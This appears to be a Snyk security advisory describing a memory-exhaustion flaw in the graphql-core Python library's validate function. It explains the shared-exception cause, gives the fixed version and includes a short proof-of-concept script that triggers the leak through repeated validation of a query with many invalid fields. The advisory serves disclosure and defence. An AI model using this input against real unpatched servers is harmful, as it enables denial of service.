Missing Release of Memory after Effective Lifetime Affecting graphql-core package, versions [3.3.0a3,3.3.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.42% (37th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Missing Release of Memory after Effective Lifetime vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-GRAPHQLCORE-22132200
  • published2 Nov 2026
  • disclosed30 Oct 2026
  • creditRio Weber

Introduced: 30 Oct 2026

NewCVE-2026-119286  (opens in a new tab)
CWE-401  (opens in a new tab)

How to fix?

Upgrade graphql-core to version 3.3.1 or higher.

Overview

graphql-core is a GraphQL implementation for Python, a port of GraphQL.js, the JavaScript reference implementation for GraphQL.

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime via the validate function in src/graphql/validation/validate.py, which raises a single shared ValidationAbortedError instance when the validation error limit is reached. Because Python attaches traceback frames to the raised exception object, every aborted validation call appends its stack frames to the same shared error's traceback, keeping all those frames alive for the lifetime of the process. An attacker can trigger repeated validation of documents with many invalid fields to cause unbounded memory growth.

PoC

import gc
import tracemalloc
from graphql import build_schema, parse, validate

schema = build_schema("type Query { a: Int }")
document = parse("{ " + " ".join(f"f{i}" for i in range(101)) + " }")

tracemalloc.start()
validate(schema, document)
gc.collect()
base = tracemalloc.get_traced_memory()[0]
for _ in range(200):
    validate(schema, document)
gc.collect()
print((tracemalloc.get_traced_memory()[0] - base) // 1024, "KiB")

With GraphQL-core 3.3.0 on CPython 3.12, the retained memory grows from 147 KiB after one call to about 25 MB after 200 calls. With the fix, it stays constant at about 180 KiB.

Note: The PoC states it was run with GraphQL-core 3.3.0 on CPython 3.12.

CVSS Base Scores

version 4.0
version 3.1